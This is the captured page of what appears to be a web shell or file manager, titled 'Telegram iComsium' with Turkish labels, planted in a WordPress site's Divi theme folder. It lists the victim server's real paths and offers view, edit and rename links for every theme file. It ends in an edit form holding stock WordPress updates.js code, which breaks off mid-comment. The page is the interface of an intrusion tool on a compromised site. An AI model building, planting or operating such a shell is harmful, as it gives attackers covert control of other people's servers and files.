<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: updates.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/**
 * Functions for ajaxified updates, deletions and installs inside the WordPress admin.
 *
 * @version 4.2.0
 * @output wp-admin/js/updates.js
 */

/* global pagenow, _wpThemeSettings */

/**
 * @param {jQuery}  $                                        jQuery object.
 * @param {object}  wp                                       WP object.
 * @param {object}  settings                                 WP Updates settings.
 * @param {string}  settings.ajax_nonce                      Ajax nonce.
 * @param {object=} settings.plugins                         Base names of plugins in their different states.
 * @param {Array}   settings.plugins.all                     Base names of all plugins.
 * @param {Array}   settings.plugins.active                  Base names of active plugins.
 * @param {Array}   settings.plugins.inactive                Base names of inactive plugins.
 * @param {Array}   settings.plugins.upgrade                 Base names of plugins with updates available.
 * @param {Array}   settings.plugins.recently_activated      Base names of recently activated plugins.
 * @param {Array}   settings.plugins[&#039;auto-update-enabled&#039;]  Base names of plugins set to auto-update.
 * @param {Array}   settings.plugins[&#039;auto-update-disabled&#039;] Base names of plugins set to not auto-update.
 * @param {object=} settings.themes                          Slugs of themes in their different states.
 * @param {Array}   settings.themes.all                      Slugs of all themes.
 * @param {Array}   settings.themes.upgrade                  Slugs of themes with updates available.
 * @param {Arrat}   settings.themes.disabled                 Slugs of disabled themes.
 * @param {Array}   settings.themes[&#039;auto-update-enabled&#039;]   Slugs of themes set to auto-update.
 * @param {Array}   settings.themes[&#039;auto-update-disabled&#039;]  Slugs of themes set to not auto-update.
 * @param {object=} settings.totals                          Combined information for available update counts.
 * @param {number}  settings.totals.count                    Holds the amount of available updates.
 */
(function( $, wp, settings ) {
	var $document = $( document ),
		__ = wp.i18n.__,
		_x = wp.i18n._x,
		_n = wp.i18n._n,
		_nx = wp.i18n._nx,
		sprintf = wp.i18n.sprintf;

	wp = wp || {};

	/**
	 * The WP Updates object.
	 *
	 * @since 4.2.0
	 *
	 * @namespace wp.updates
	 */
	wp.updates = {};

	/**
	 * Removed in 5.5.0, needed for back-compatibility.
	 *
	 * @since 4.2.0
	 * @deprecated 5.5.0
	 *
	 * @type {object}
	 */
	wp.updates.l10n = {
		searchResults: &#039;&#039;,
		searchResultsLabel: &#039;&#039;,
		noPlugins: &#039;&#039;,
		noItemsSelected: &#039;&#039;,
		updating: &#039;&#039;,
		pluginUpdated: &#039;&#039;,
		themeUpdated: &#039;&#039;,
		update: &#039;&#039;,
		updateNow: &#039;&#039;,
		pluginUpdateNowLabel: &#039;&#039;,
		updateFailedShort: &#039;&#039;,
		updateFailed: &#039;&#039;,
		pluginUpdatingLabel: &#039;&#039;,
		pluginUpdatedLabel: &#039;&#039;,
		pluginUpdateFailedLabel: &#039;&#039;,
		updatingMsg: &#039;&#039;,
		updatedMsg: &#039;&#039;,
		updateCancel: &#039;&#039;,
		beforeunload: &#039;&#039;,
		installNow: &#039;&#039;,
		pluginInstallNowLabel: &#039;&#039;,
		installing: &#039;&#039;,
		pluginInstalled: &#039;&#039;,
		themeInstalled: &#039;&#039;,
		installFailedShort: &#039;&#039;,
		installFailed: &#039;&#039;,
		pluginInstallingLabel: &#039;&#039;,
		themeInstallingLabel: &#039;&#039;,
		pluginInstalledLabel: &#039;&#039;,
		themeInstalledLabel: &#039;&#039;,
		pluginInstallFailedLabel: &#039;&#039;,
		themeInstallFailedLabel: &#039;&#039;,
		installingMsg: &#039;&#039;,
		installedMsg: &#039;&#039;,
		importerInstalledMsg: &#039;&#039;,
		aysDelete: &#039;&#039;,
		aysDeleteUninstall: &#039;&#039;,
		aysBulkDelete: &#039;&#039;,
		aysBulkDeleteThemes: &#039;&#039;,
		deleting: &#039;&#039;,
		deleteFailed: &#039;&#039;,
		pluginDeleted: &#039;&#039;,
		themeDeleted: &#039;&#039;,
		livePreview: &#039;&#039;,
		activatePlugin: &#039;&#039;,
		activateTheme: &#039;&#039;,
		activatePluginLabel: &#039;&#039;,
		activateThemeLabel: &#039;&#039;,
		activateImporter: &#039;&#039;,
		activateImporterLabel: &#039;&#039;,
		unknownError: &#039;&#039;,
		connectionError: &#039;&#039;,
		nonceError: &#039;&#039;,
		pluginsFound: &#039;&#039;,
		noPluginsFound: &#039;&#039;,
		autoUpdatesEnable: &#039;&#039;,
		autoUpdatesEnabling: &#039;&#039;,
		autoUpdatesEnabled: &#039;&#039;,
		autoUpdatesDisable: &#039;&#039;,
		autoUpdatesDisabling: &#039;&#039;,
		autoUpdatesDisabled: &#039;&#039;,
		autoUpdatesError: &#039;&#039;
	};

	wp.updates.l10n = window.wp.deprecateL10nObject( &#039;wp.updates.l10n&#039;, wp.updates.l10n, &#039;5.5.0&#039; );

	/**
	 * User nonce for ajax calls.
	 *
	 * @since 4.2.0
	 *
	 * @type {string}
	 */
	wp.updates.ajaxNonce = settings.ajax_nonce;

	/**
	 * Current search term.
	 *
	 * @since 4.6.0
	 *
	 * @type {string}
	 */
	wp.updates.searchTerm = &#039;&#039;;

	/**
	 * Minimum number of characters before an ajax search is fired.
	 *
	 * @since 6.7.0
	 *
	 * @type {number}
	 */
	wp.updates.searchMinCharacters = 2;

	/**
	 * Whether filesystem credentials need to be requested from the user.
	 *
	 * @since 4.2.0
	 *
	 * @type {bool}
	 */
	wp.updates.shouldRequestFilesystemCredentials = false;

	/**
	 * Filesystem credentials to be packaged along with the request.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Added `available` property to indicate whether credentials have been provided.
	 *
	 * @type {Object}
	 * @property {Object} filesystemCredentials.ftp                Holds FTP credentials.
	 * @property {string} filesystemCredentials.ftp.host           FTP host. Default empty string.
	 * @property {string} filesystemCredentials.ftp.username       FTP user name. Default empty string.
	 * @property {string} filesystemCredentials.ftp.password       FTP password. Default empty string.
	 * @property {string} filesystemCredentials.ftp.connectionType Type of FTP connection. &#039;ssh&#039;, &#039;ftp&#039;, or &#039;ftps&#039;.
	 *                                                             Default empty string.
	 * @property {Object} filesystemCredentials.ssh                Holds SSH credentials.
	 * @property {string} filesystemCredentials.ssh.publicKey      The public key. Default empty string.
	 * @property {string} filesystemCredentials.ssh.privateKey     The private key. Default empty string.
	 * @property {string} filesystemCredentials.fsNonce            Filesystem credentials form nonce.
	 * @property {bool}   filesystemCredentials.available          Whether filesystem credentials have been provided.
	 *                                                             Default &#039;false&#039;.
	 */
	wp.updates.filesystemCredentials = {
		ftp:       {
			host:           &#039;&#039;,
			username:       &#039;&#039;,
			password:       &#039;&#039;,
			connectionType: &#039;&#039;
		},
		ssh:       {
			publicKey:  &#039;&#039;,
			privateKey: &#039;&#039;
		},
		fsNonce: &#039;&#039;,
		available: false
	};

	/**
	 * Whether we&#039;re waiting for an Ajax request to complete.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `ajaxLocked`.
	 *
	 * @type {bool}
	 */
	wp.updates.ajaxLocked = false;

	/**
	 * Admin notice template.
	 *
	 * @since 4.6.0
	 *
	 * @type {function}
	 */
	wp.updates.adminNotice = wp.template( &#039;wp-updates-admin-notice&#039; );

	/**
	 * Update queue.
	 *
